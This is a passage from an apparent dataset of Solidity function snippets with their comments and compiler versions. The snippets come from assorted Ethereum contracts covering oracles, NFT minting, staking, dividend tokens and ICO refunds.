{\r\n address _baseToken = baseToken;\r\n address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;\r\n \r\n newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling();\r\n\r\n _deposit(\r\n msg.sender,\r\n newCrowdPooling,\r\n _baseToken,\r\n baseInAmount,\r\n false\r\n );\r\n\r\n newCrowdPooling.transfer(msg.value);\r\n\r\n IDODOV2(_CP_FACTORY_).initCrowdPooling(\r\n newCrowdPooling,\r\n msg.sender,\r\n _baseToken,\r\n _quoteToken,\r\n timeLine,\r\n valueList,\r\n isOpenTWAP\r\n );\r\n }", "version": "0.6.9"} {"comment": "/**\r\n * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK\r\n * sent for the request back to the requester's address.\r\n * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid\r\n * Emits CancelOracleRequest event.\r\n * @param _requestId The request ID\r\n * @param _payment The amount of payment given (specified in wei)\r\n * @param _callbackFunc The requester's specified callback address\r\n * @param _expiration The time of the expiration for the request\r\n */", "function_code": "function cancelOracleRequest(\r\n bytes32 _requestId,\r\n uint256 _payment,\r\n bytes4 _callbackFunc,\r\n uint256 _expiration\r\n ) external {\r\n bytes32 paramsHash = keccak256(\r\n abi.encodePacked(\r\n _payment,\r\n msg.sender,\r\n _callbackFunc,\r\n _expiration)\r\n );\r\n require(paramsHash == commitments[_requestId], \"Params do not match request ID\");\r\n // solhint-disable-next-line not-rely-on-time\r\n require(_expiration <= now, \"Request is not expired\");\r\n\r\n delete commitments[_requestId];\r\n emit CancelOracleRequest(_requestId);\r\n\r\n assert(LinkToken.transfer(msg.sender, _payment));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Internal function to transfer ownership of a given token ID to another address.\r\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\r\n * @param from current owner of the token\r\n * @param to address to receive the ownership of the given token ID\r\n * @param tokenId uint256 ID of the token to be transferred\r\n */", "function_code": "function _transferFrom(address from, address to, uint256 tokenId) internal {\r\n require(ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\r\n require(to != address(0), \"ERC721: transfer to the zero address\");\r\n\r\n _clearApproval(tokenId);\r\n\r\n _ownedTokensCount[from].decrement();\r\n _ownedTokensCount[to].increment();\r\n\r\n _tokenOwner[tokenId] = to;\r\n\r\n emit Transfer(from, to, tokenId);\r\n }", "version": "0.5.7"} {"comment": "// View function to see pending VENI on frontend single token.", "function_code": "function pendingVENI_single(uint256 _pid, address _user) external view returns (uint256) {\r\n SinglePoolInfo storage pool = poolInfo_single[_pid];\r\n UserInfo storage user = userInfo_single[_pid][_user];\r\n uint256 accVENIPerShare = pool.accVENIPerShare;\r\n uint256 sSupply = pool.sToken.balanceOf(address(this));\r\n\r\n uint256 currentRewardBlock = block.number;\r\n if (pool.setEndBlock && currentRewardBlock > pool.singleTokenEndBlock) {\r\n currentRewardBlock = pool.singleTokenEndBlock;\r\n }\r\n\r\n if (block.number > pool.lastRewardBlock && sSupply != 0) {\r\n uint256 multiplier = getMultiplier_single(_pid, pool.lastRewardBlock, currentRewardBlock);\r\n uint256 VENIReward = multiplier.mul(pool.singlePerBlock);\r\n accVENIPerShare = accVENIPerShare.add(VENIReward.mul(1e12).div(sSupply));\r\n }\r\n return user.amount.mul(accVENIPerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal function to burn a specific token.\r\n * Reverts if the token does not exist.\r\n * Deprecated, use {ERC721-_burn} instead.\r\n * @param owner owner of the token to burn\r\n * @param tokenId uint256 ID of the token being burned\r\n */", "function_code": "function _burn(address owner, uint256 tokenId) internal {\r\n super._burn(owner, tokenId);\r\n\r\n _removeTokenFromOwnerEnumeration(owner, tokenId);\r\n // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund\r\n _ownedTokensIndex[tokenId] = 0;\r\n\r\n _removeTokenFromAllTokensEnumeration(tokenId);\r\n }", "version": "0.5.7"} {"comment": "// IFrogLand", "function_code": "function canMint(uint256 quantity) public view override returns (bool) {\n require(saleIsActive, \"sale hasn't started\");\n require(!presaleIsActive, 'only presale');\n require(totalSupply().add(quantity) <= MAX_TOKENS, 'quantity exceeds supply');\n require(_publicMinted.add(quantity) <= maxMintableSupply, 'quantity exceeds mintable');\n require(quantity <= maxPurchaseQuantity, 'quantity exceeds max');\n\n return true;\n }", "version": "0.8.4"} {"comment": "// IFrogLandAdmin", "function_code": "function mintToAddress(uint256 quantity, address to) external override onlyOwner {\n require(totalSupply().add(quantity) <= MAX_TOKENS, 'quantity exceeds supply');\n require(_adminMinted.add(quantity) <= maxAdminSupply, 'quantity exceeds mintable');\n\n for (uint256 i = 0; i < quantity; i++) {\n uint256 mintIndex = totalSupply();\n if (totalSupply() < MAX_TOKENS) {\n _adminMinted += 1;\n _safeMint(to, mintIndex);\n }\n }\n }", "version": "0.8.4"} {"comment": "//whitelist", "function_code": "function addToWhitelist(address[] calldata addresses) external override onlyOwner {\r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n require(addresses[i] != address(0), \"Can't add the null address\");\r\n _Whitelist[addresses[i]] = true;\r\n _WhitelistClaimed[addresses[i]] > 0 ? _WhitelistClaimed[addresses[i]] : 0;\r\n }\r\n }", "version": "0.8.9"} {"comment": "//firestarter tier 1", "function_code": "function addToFirestarter1(address[] calldata addresses) external override onlyOwner {\r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n require(addresses[i] != address(0), \"Can't add the null address\");\r\n _Firestarter1[addresses[i]] = true;\r\n _Firestarter1Claimed[addresses[i]] > 0 ? _Firestarter1Claimed[addresses[i]] : 0;\r\n }\r\n }", "version": "0.8.9"} {"comment": "//firestarter tier 2", "function_code": "function addToFirestarter2(address[] calldata addresses) external override onlyOwner {\r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n require(addresses[i] != address(0), \"Can't add the null address\");\r\n _Firestarter2[addresses[i]] = true;\r\n _Firestarter2Claimed[addresses[i]] > 0 ? _Firestarter2Claimed[addresses[i]] : 0;\r\n }\r\n }", "version": "0.8.9"} {"comment": "//airdrop for original contract: 0xab20d7517e46a227d0dc7da66e06ea8b68d717e1\n// no limit due to to airdrop going directly to the 447 owners", "function_code": "function airdrop(address[] calldata to) external onlyOwner {\r\n require(totalSupply() < NFT_MAX, 'All tokens have been minted');\r\n\r\n for(uint256 i = 0; i < to.length; i++) {\r\n uint256 tokenId = totalSupply() + 1;\r\n totalAirdropSupply += 1;\r\n\r\n _safeMint(to[i], tokenId);\r\n }\r\n }", "version": "0.8.9"} {"comment": "//reserve\n// no limit due to to airdrop going directly to addresses", "function_code": "function reserve(address[] calldata to) external onlyOwner {\r\n require(totalSupply() < NFT_MAX, 'All tokens have been minted');\r\n\r\n for(uint256 i = 0; i < to.length; i++) {\r\n uint256 tokenId = totalSupply() + 1;\r\n totalReserveSupply += 1;\r\n\r\n _safeMint(to[i], tokenId);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().\n */", "function_code": "function _setOwnersExplicit(uint256 quantity) internal {\n require(quantity != 0, \"quantity must be nonzero\");\n require(currentIndex != 0, \"no tokens minted yet\");\n uint256 _nextOwnerToExplicitlySet = nextOwnerToExplicitlySet;\n require(_nextOwnerToExplicitlySet < currentIndex, \"all ownerships have been set\");\n\n // Index underflow is impossible.\n // Counter or index overflow is incredibly unrealistic.\n unchecked {\n uint256 endIndex = _nextOwnerToExplicitlySet + quantity - 1;\n\n // Set the end index to be the last token index\n if (endIndex + 1 > currentIndex) {\n endIndex = currentIndex - 1;\n }\n\n for (uint256 i = _nextOwnerToExplicitlySet; i <= endIndex; i++) {\n if (_ownerships[i].addr == address(0)) {\n TokenOwnership memory ownership = ownershipOf(i);\n _ownerships[i].addr = ownership.addr;\n _ownerships[i].startTimestamp = ownership.startTimestamp;\n }\n }\n\n nextOwnerToExplicitlySet = endIndex + 1;\n }\n }", "version": "0.8.11"} {"comment": "// ------------------------------------------------------------------------\n// 15,000 M10 Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 20000;\r\n } else {\r\n tokens = msg.value * 15000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice called by oracles when they have witnessed a need to update\n * @param _roundId is the ID of the round this submission pertains to\n * @param _submission is the updated data that the oracle is submitting\n */", "function_code": "function submit(uint256 _roundId, int256 _submission)\n external\n {\n bytes memory error = validateOracleRound(msg.sender, uint32(_roundId));\n require(_submission >= minSubmissionValue, \"value below minSubmissionValue\");\n require(_submission <= maxSubmissionValue, \"value above maxSubmissionValue\");\n require(error.length == 0, string(error));\n\n oracleInitializeNewRound(uint32(_roundId));\n recordSubmission(_submission, uint32(_roundId));\n (bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId));\n payOracle(uint32(_roundId));\n deleteRoundDetails(uint32(_roundId));\n if (updated) {\n validateAnswer(uint32(_roundId), newAnswer);\n }\n }", "version": "0.6.6"} {"comment": "/**\n * @notice called by the owner to remove and add new oracles as well as\n * update the round related parameters that pertain to total oracle count\n * @param _removed is the list of addresses for the new Oracles being removed\n * @param _added is the list of addresses for the new Oracles being added\n * @param _addedAdmins is the admin addresses for the new respective _added\n * list. Only this address is allowed to access the respective oracle's funds\n * @param _minSubmissions is the new minimum submission count for each round\n * @param _maxSubmissions is the new maximum submission count for each round\n * @param _restartDelay is the number of rounds an Oracle has to wait before\n * they can initiate a round\n */", "function_code": "function changeOracles(\n address[] calldata _removed,\n address[] calldata _added,\n address[] calldata _addedAdmins,\n uint32 _minSubmissions,\n uint32 _maxSubmissions,\n uint32 _restartDelay\n )\n external\n onlyOwner()\n {\n for (uint256 i = 0; i < _removed.length; i++) {\n removeOracle(_removed[i]);\n }\n\n require(_added.length == _addedAdmins.length, \"need same oracle and admin count\");\n require(uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, \"max oracles allowed\");\n\n for (uint256 i = 0; i < _added.length; i++) {\n addOracle(_added[i], _addedAdmins[i]);\n }\n\n updateFutureRounds(paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout);\n }", "version": "0.6.6"} {"comment": "/**\n * @notice update the round and payment related parameters for subsequent\n * rounds\n * @param _paymentAmount is the payment amount for subsequent rounds\n * @param _minSubmissions is the new minimum submission count for each round\n * @param _maxSubmissions is the new maximum submission count for each round\n * @param _restartDelay is the number of rounds an Oracle has to wait before\n * they can initiate a round\n */", "function_code": "function updateFutureRounds(\n uint128 _paymentAmount,\n uint32 _minSubmissions,\n uint32 _maxSubmissions,\n uint32 _restartDelay,\n uint32 _timeout\n )\n public\n onlyOwner()\n {\n uint32 oracleNum = oracleCount(); // Save on storage reads\n require(_maxSubmissions >= _minSubmissions, \"max must equal/exceed min\");\n require(oracleNum >= _maxSubmissions, \"max cannot exceed total\");\n require(oracleNum == 0 || oracleNum > _restartDelay, \"delay cannot exceed total\");\n require(recordedFunds.available >= requiredReserve(_paymentAmount), \"insufficient funds for payment\");\n if (oracleCount() > 0) {\n require(_minSubmissions > 0, \"min must be greater than 0\");\n }\n\n paymentAmount = _paymentAmount;\n minSubmissionCount = _minSubmissions;\n maxSubmissionCount = _maxSubmissions;\n restartDelay = _restartDelay;\n timeout = _timeout;\n\n emit RoundDetailsUpdated(\n paymentAmount,\n _minSubmissions,\n _maxSubmissions,\n _restartDelay,\n _timeout\n );\n }", "version": "0.6.6"} {"comment": "/**\n * @notice get data about a round. Consumers are encouraged to check\n * that they're receiving fresh data by inspecting the updatedAt and\n * answeredInRound return values.\n * @param _roundId the round ID to retrieve the round data for\n * @return roundId is the round ID for which data was retrieved\n * @return answer is the answer for the given round\n * @return startedAt is the timestamp when the round was started. This is 0\n * if the round hasn't been started yet.\n * @return updatedAt is the timestamp when the round last was updated (i.e.\n * answer was last computed)\n * @return answeredInRound is the round ID of the round in which the answer\n * was computed. answeredInRound may be smaller than roundId when the round\n * timed out. answeredInRound is equal to roundId when the round didn't time out\n * and was completed regularly.\n * @dev Note that for in-progress rounds (i.e. rounds that haven't yet received\n * maxSubmissions) answer and updatedAt may change between queries.\n */", "function_code": "function getRoundData(uint80 _roundId)\n public\n view\n virtual\n override\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n )\n {\n Round memory r = rounds[uint32(_roundId)];\n\n require(r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR);\n\n return (\n _roundId,\n r.answer,\n r.startedAt,\n r.updatedAt,\n r.answeredInRound\n );\n }", "version": "0.6.6"} {"comment": "/**\n * @notice transfers the oracle's LINK to another address. Can only be called\n * by the oracle's admin.\n * @param _oracle is the oracle whose LINK is transferred\n * @param _recipient is the address to send the LINK to\n * @param _amount is the amount of LINK to send\n */", "function_code": "function withdrawPayment(address _oracle, address _recipient, uint256 _amount)\n external\n {\n require(oracles[_oracle].admin == msg.sender, \"only callable by admin\");\n\n // Safe to downcast _amount because the total amount of LINK is less than 2^128.\n uint128 amount = uint128(_amount);\n uint128 available = oracles[_oracle].withdrawable;\n require(available >= amount, \"insufficient withdrawable funds\");\n\n oracles[_oracle].withdrawable = available.sub(amount);\n recordedFunds.allocated = recordedFunds.allocated.sub(amount);\n\n assert(linkToken.transfer(_recipient, uint256(amount)));\n }", "version": "0.6.6"} {"comment": "/**\n * @notice allows non-oracles to request a new round\n */", "function_code": "function requestNewRound()\n external\n returns (uint80)\n {\n require(requesters[msg.sender].authorized, \"not authorized requester\");\n\n uint32 current = reportingRoundId;\n require(rounds[current].updatedAt > 0 || timedOut(current), \"prev round must be supersedable\");\n\n uint32 newRoundId = current.add(1);\n requesterInitializeNewRound(newRoundId);\n return newRoundId;\n }", "version": "0.6.6"} {"comment": "/**\n * @notice allows the owner to specify new non-oracles to start new rounds\n * @param _requester is the address to set permissions for\n * @param _authorized is a boolean specifying whether they can start new rounds or not\n * @param _delay is the number of rounds the requester must wait before starting another round\n */", "function_code": "function setRequesterPermissions(address _requester, bool _authorized, uint32 _delay)\n external\n onlyOwner()\n {\n if (requesters[_requester].authorized == _authorized) return;\n\n if (_authorized) {\n requesters[_requester].authorized = _authorized;\n requesters[_requester].delay = _delay;\n } else {\n delete requesters[_requester];\n }\n\n emit RequesterPermissionsSet(_requester, _authorized, _delay);\n }", "version": "0.6.6"} {"comment": "/**\n * @notice a method to provide all current info oracles need. Intended only\n * only to be callable by oracles. Not for use by contracts to read state.\n * @param _oracle the address to look up information for.\n */", "function_code": "function oracleRoundState(address _oracle, uint32 _queriedRoundId)\n external\n view\n returns (\n bool _eligibleToSubmit,\n uint32 _roundId,\n int256 _latestSubmission,\n uint64 _startedAt,\n uint64 _timeout,\n uint128 _availableFunds,\n uint8 _oracleCount,\n uint128 _paymentAmount\n )\n {\n require(msg.sender == tx.origin, \"off-chain reading only\");\n\n if (_queriedRoundId > 0) {\n Round storage round = rounds[_queriedRoundId];\n RoundDetails storage details = details[_queriedRoundId];\n return (\n eligibleForSpecificRound(_oracle, _queriedRoundId),\n _queriedRoundId,\n oracles[_oracle].latestSubmission,\n round.startedAt,\n details.timeout,\n recordedFunds.available,\n oracleCount(),\n (round.startedAt > 0 ? details.paymentAmount : paymentAmount)\n );\n } else {\n return oracleRoundStateSuggestRound(_oracle);\n }\n }", "version": "0.6.6"} {"comment": "/**\n * Private\n */", "function_code": "function initializeNewRound(uint32 _roundId)\n private\n {\n updateTimedOutRoundInfo(_roundId.sub(1));\n\n reportingRoundId = _roundId;\n RoundDetails memory nextDetails = RoundDetails(\n new int256[](0),\n maxSubmissionCount,\n minSubmissionCount,\n timeout,\n paymentAmount\n );\n details[_roundId] = nextDetails;\n rounds[_roundId].startedAt = uint64(block.timestamp);\n\n emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt);\n }", "version": "0.6.6"} {"comment": "/**\n * Get the array of token for owner.\n */", "function_code": "function tokensOfOwner(address owner) external view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(owner);\n if (tokenCount == 0) {\n return new uint256[](0);\n } else {\n uint256[] memory result = new uint256[](tokenCount);\n uint256 id = 0;\n for (uint256 index = 0; index < _owners.length; index++) {\n if(_owners[index] == owner)\n result[id++] = index;\n }\n return result;\n }\n }", "version": "0.8.0"} {"comment": "/**\n * Create Strong Node & Mint SNN\n */", "function_code": "function mint()\n external\n payable\n {\n require(isSale, \"Sale must be active to mint\");\n \n uint256 supply = _owners.length;\n uint256 naasRequestingFeeInWei = strongService.naasRequestingFeeInWei();\n uint256 naasStrongFeeInWei = strongService.naasStrongFeeInWei();\n\n require(msg.value == naasRequestingFeeInWei, \"invalid requesting fee\");\n require(supply + 1 <= MAX_SNN_SUPPLY, \"Purchase would exceed max supply\");\n\n strongToken.transferFrom(msg.sender, address(this), naasStrongFeeInWei);\n strongService.requestAccess{value: naasRequestingFeeInWei}(true);\n _mint( msg.sender, supply++);\n }", "version": "0.8.0"} {"comment": "/// @dev verify is used for check signature.", "function_code": "function verify(\r\n uint256 curveId,\r\n bytes32 signature,\r\n bytes32 groupKeyX,\r\n bytes32 groupKeyY,\r\n bytes32 randomPointX,\r\n bytes32 randomPointY,\r\n bytes32 message\r\n ) external returns (bool) {\r\n require(verifierMap[curveId] != address(0), \"curveId not correct\");\r\n IBaseSignVerifier verifier = IBaseSignVerifier(verifierMap[curveId]);\r\n return verifier.verify(signature, groupKeyX, groupKeyY, randomPointX, randomPointY, message);\r\n }", "version": "0.4.26"} {"comment": "// Check if the amount the owners are attempting to withdraw is within their current allowance", "function_code": "function amountIsWithinOwnersAllowance(uint256 amountToWithdraw) internal view returns (bool) {\r\n if (now - icoEndDate >= yearLength * 2)\r\n return true;\r\n uint256 totalFundsWithdrawnAfterThisTransaction = fundsWithdrawnByOwners + amountToWithdraw;\r\n bool withinAllowance = totalFundsWithdrawnAfterThisTransaction <= maxFundsThatCanBeWithdrawnByOwners;\r\n return withinAllowance;\r\n }", "version": "0.4.19"} {"comment": "// Buy keys", "function_code": "function bid() public payable blabla {\r\n uint _minLeaderAmount = pot.mul(MIN_LEADER_FRAC_TOP).div(MIN_LEADER_FRAC_BOT);\r\n uint _bidAmountToCommunity = msg.value.mul(FRAC_TOP).div(FRAC_BOT);\r\n uint _bidAmountToDividendFund = msg.value.mul(DIVIDEND_FUND_FRAC_TOP).div(DIVIDEND_FUND_FRAC_BOT);\r\n uint _bidAmountToPot = msg.value.sub(_bidAmountToCommunity).sub(_bidAmountToDividendFund);\r\n\r\n earnings[_null] = earnings[_null].add(_bidAmountToCommunity);\r\n dividendFund = dividendFund.add(_bidAmountToDividendFund);\r\n pot = pot.add(_bidAmountToPot);\r\n Bid(now, msg.sender, msg.value, pot);\r\n\r\n if (msg.value >= _minLeaderAmount) {\r\n uint _dividendShares = msg.value.div(_minLeaderAmount);\r\n dividendShares[msg.sender] = dividendShares[msg.sender].add(_dividendShares);\r\n totalDividendShares = totalDividendShares.add(_dividendShares);\r\n leader = msg.sender;\r\n hasntStarted = computeDeadline();\r\n NewLeader(now, leader, pot, hasntStarted);\r\n }\r\n }", "version": "0.4.19"} {"comment": "// Sell keys ", "function_code": "function withdrawDividends() public { require(dividendShares[msg.sender] > 0);\r\n uint _dividendShares = dividendShares[msg.sender];\r\n assert(_dividendShares <= totalDividendShares);\r\n uint _amount = dividendFund.mul(_dividendShares).div(totalDividendShares);\r\n assert(_amount <= this.balance);\r\n dividendShares[msg.sender] = 0;\r\n totalDividendShares = totalDividendShares.sub(_dividendShares);\r\n dividendFund = dividendFund.sub(_amount);\r\n msg.sender.transfer(_amount);\r\n DividendsWithdrawal(now, msg.sender, _dividendShares, _amount, totalDividendShares, dividendFund);\r\n }", "version": "0.4.19"} {"comment": "/// @notice allow to mint tokens", "function_code": "function mint(address _holder, uint256 _tokens) public onlyMintingAgents() {\r\n require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply);\r\n\r\n totalSupply_ = totalSupply_.add(_tokens);\r\n\r\n balances[_holder] = balanceOf(_holder).add(_tokens);\r\n\r\n if (totalSupply_ == maxSupply) {\r\n allowedMinting = false;\r\n }\r\n emit Mint(_holder, _tokens);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Alias of sell() and withdraw().", "function_code": "function exit() public {\r\n // get token count for caller & sell them all\r\n address _customerAddress = msg.sender;\r\n uint256 _tokens = tokenBalanceLedger_[_customerAddress];\r\n if (_tokens > 0) sell(_tokens);\r\n\r\n // capitulation\r\n withdraw();\r\n }", "version": "0.4.24"} {"comment": "/// @dev Withdraws all of the callers earnings.", "function_code": "function withdraw() onlyStronghands public {\r\n // setup data\r\n address _customerAddress = msg.sender;\r\n uint256 _dividends = myDividends(false); // get ref. bonus later in the code\r\n\r\n // update dividend tracker\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n\r\n // add ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n\r\n // lambo delivery service\r\n _customerAddress.transfer(_dividends);\r\n\r\n // fire event\r\n emit onWithdraw(_customerAddress, _dividends);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer tokens from the caller to a new holder.\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n\r\n // make sure we have the requested tokens\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n // withdraw all outstanding dividends first\r\n if (myDividends(true) > 0) {\r\n withdraw();\r\n }\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);\r\n\r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);\r\n\r\n // fire event\r\n emit Transfer(_customerAddress, _toAddress, _amountOfTokens);\r\n\r\n // ERC20\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Return the sell price of 1 individual token.", "function_code": "function sellPrice() public view returns (uint256) {\r\n // our calculation relies on the token supply, so we need supply. Doh.\r\n if (tokenSupply_ == 0) {\r\n return tokenPriceInitial_ - tokenPriceIncremental_;\r\n } else {\r\n uint256 _ethereum = tokensToEthereum_(1e18);\r\n uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);\r\n uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);\r\n\r\n return _taxedEthereum;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Function for getting the current exitFee", "function_code": "function exitFee() public view returns (uint8) {\r\n if (startTime==0){\r\n return startExitFee_;\r\n }\r\n if ( now < startTime) {\r\n return 0;\r\n }\r\n uint256 secondsPassed = now - startTime;\r\n if (secondsPassed >= exitFeeFallDuration_) {\r\n return finalExitFee_;\r\n }\r\n uint8 totalChange = startExitFee_ - finalExitFee_;\r\n uint8 currentChange = uint8(totalChange * secondsPassed / exitFeeFallDuration_);\r\n uint8 currentFee = startExitFee_- currentChange;\r\n return currentFee;\r\n }", "version": "0.4.24"} {"comment": "/**\n * Adds Rabbits, Foxes and Hunters to their respective safe homes.\n * @param account the address of the staker\n * @param tokenIds the IDs of the Rabbit and Foxes to stake\n */", "function_code": "function stakeTokens(address account, uint16[] calldata tokenIds) external whenNotPaused nonReentrant _updateEarnings {\n require(account == msg.sender || msg.sender == address(foxNFT), \"only owned tokens can be staked\");\n for (uint16 i = 0; i < tokenIds.length; i++) {\n\n // Transfer into safe house\n if (msg.sender != address(foxNFT)) { // dont do this step if its a mint + stake\n require(foxNFT.ownerOf(tokenIds[i]) == msg.sender, \"only token owners can stake\");\n foxNFT.transferFrom(msg.sender, address(this), tokenIds[i]);\n } else if (tokenIds[i] == 0) {\n // there can be gaps during mint, as tokens can be stolen\n continue;\n }\n\n // Add to respective safe homes\n IFoxGameNFT.Kind kind = _getKind(tokenIds[i]);\n if (kind == IFoxGameNFT.Kind.RABBIT) {\n _addRabbitToKeep(account, tokenIds[i]);\n } else if (kind == IFoxGameNFT.Kind.FOX) {\n _addFoxToDen(account, tokenIds[i]);\n } else { // HUNTER\n _addHunterToCabin(account, tokenIds[i]);\n }\n }\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Calculate token sell value.\r\n * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;\r\n * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.\r\n */", "function_code": "function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {\r\n uint256 tokens_ = (_tokens + 1e18);\r\n uint256 _tokenSupply = (tokenSupply_ + 1e18);\r\n uint256 _etherReceived =\r\n (\r\n // underflow attempts BTFO\r\n SafeMath.sub(\r\n (\r\n (\r\n (\r\n tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))\r\n ) - tokenPriceIncremental_\r\n ) * (tokens_ - 1e18)\r\n ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2\r\n )\r\n / 1e18);\r\n\r\n return _etherReceived;\r\n }", "version": "0.4.24"} {"comment": "/// @dev This is where all your gas goes.", "function_code": "function sqrt(uint256 x) internal pure returns (uint256 y) {\r\n uint256 z = (x + 1) / 2;\r\n y = x;\r\n\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * Add Fox to the Den.\n * @param account the address of the staker\n * @param tokenId the ID of the Fox\n */", "function_code": "function _addFoxToDen(address account, uint16 tokenId) internal {\n uint8 cunning = _getAdvantagePoints(tokenId);\n totalCunningPointsStaked += cunning;\n // Store fox by rating\n foxHierarchy[tokenId] = uint16(foxStakeByCunning[cunning].length);\n // Add fox to their cunning group\n foxStakeByCunning[cunning].push(EarningStake({\n owner: account,\n tokenId: tokenId,\n earningRate: carrotPerCunningPoint\n }));\n totalFoxesStaked += 1;\n emit TokenStaked(\"FOX\", tokenId, account);\n }", "version": "0.8.10"} {"comment": "/**\n * Adds Hunter to the Cabin.\n * @param account the address of the staker\n * @param tokenId the ID of the Hunter\n */", "function_code": "function _addHunterToCabin(address account, uint16 tokenId) internal {\n uint8 marksman = _getAdvantagePoints(tokenId);\n totalMarksmanPointsStaked += marksman;\n // Store hunter by rating\n hunterHierarchy[tokenId] = uint16(hunterStakeByMarksman[marksman].length);\n // Add hunter to their marksman group\n hunterStakeByMarksman[marksman].push(EarningStake({\n owner: account,\n tokenId: tokenId,\n earningRate: carrotPerMarksmanPoint\n }));\n hunterStakeByToken[tokenId] = TimeStake({\n owner: account,\n tokenId: tokenId,\n time: uint48(block.timestamp)\n });\n totalHuntersStaked += 1;\n emit TokenStaked(\"HUNTER\", tokenId, account);\n }", "version": "0.8.10"} {"comment": "/* Users can claim ETH by themselves if they want to in case of ETH failure */", "function_code": "function claimEthIfFailed(){ \r\n if (block.number <= endBlock || totalEthRaised >= minEthToRaise) throw; // Check if Crowdsale has failed \r\n if (participantContribution[msg.sender] == 0) throw; // Check if user has participated \r\n if (hasClaimedEthWhenFail[msg.sender]) throw; // Check if this account has already claimed ETH \r\n uint256 ethContributed = participantContribution[msg.sender]; // Get participant ETH Contribution \r\n hasClaimedEthWhenFail[msg.sender] = true; \r\n if (!msg.sender.send(ethContributed)){ \r\n ErrorSendingETH(msg.sender, ethContributed); // Raise event if send failed, solve manually \r\n } \r\n }", "version": "0.4.17"} {"comment": "/* Owner can return eth for multiple users in one call */", "function_code": "function batchReturnEthIfFailed(uint256 _numberOfReturns) onlyOwner{ \r\n if (block.number < endBlock || totalEthRaised >= minEthToRaise) throw; // Check if Crowdsale failed \r\n address currentParticipantAddress; \r\n uint256 contribution;\r\n for (uint cnt = 0; cnt < _numberOfReturns; cnt++){ \r\n currentParticipantAddress = participantIndex[lastEthReturnIndex]; // Get next account \r\n if (currentParticipantAddress == 0x0) return; // Check if participants were reimbursed \r\n if (!hasClaimedEthWhenFail[currentParticipantAddress]) { // Check if user has manually recovered ETH \r\n contribution = participantContribution[currentParticipantAddress]; // Get accounts contribution \r\n hasClaimedEthWhenFail[msg.sender] = true; // Set that user got his ETH back \r\n if (!currentParticipantAddress.send(contribution)){ // Send fund back to account \r\n ErrorSendingETH(currentParticipantAddress, contribution); // Raise event if send failed, resolve manually \r\n } \r\n } \r\n lastEthReturnIndex += 1; \r\n } \r\n }", "version": "0.4.17"} {"comment": "/* Withdraw funds from contract */", "function_code": "function withdrawEther() onlyOwner{ \r\n if (this.balance == 0) throw; // Check if there is balance on the contract \r\n if (totalEthRaised < minEthToRaise) throw; // Check if minEthToRaise treshold is exceeded \r\n \r\n if(multisigAddress.send(this.balance)){} // Send the contract's balance to multisig address \r\n }", "version": "0.4.17"} {"comment": "/* Withdraw remaining balance to manually return where contract send has failed */", "function_code": "function withdrawRemainingBalanceForManualRecovery() onlyOwner{ \r\n if (this.balance == 0) throw; // Check if there is balance on the contract \r\n if (block.number < endBlock) throw; // Check if Crowdsale failed \r\n if (participantIndex[lastEthReturnIndex] != 0x0) throw; // Check if all the participants have been reimbursed \r\n if 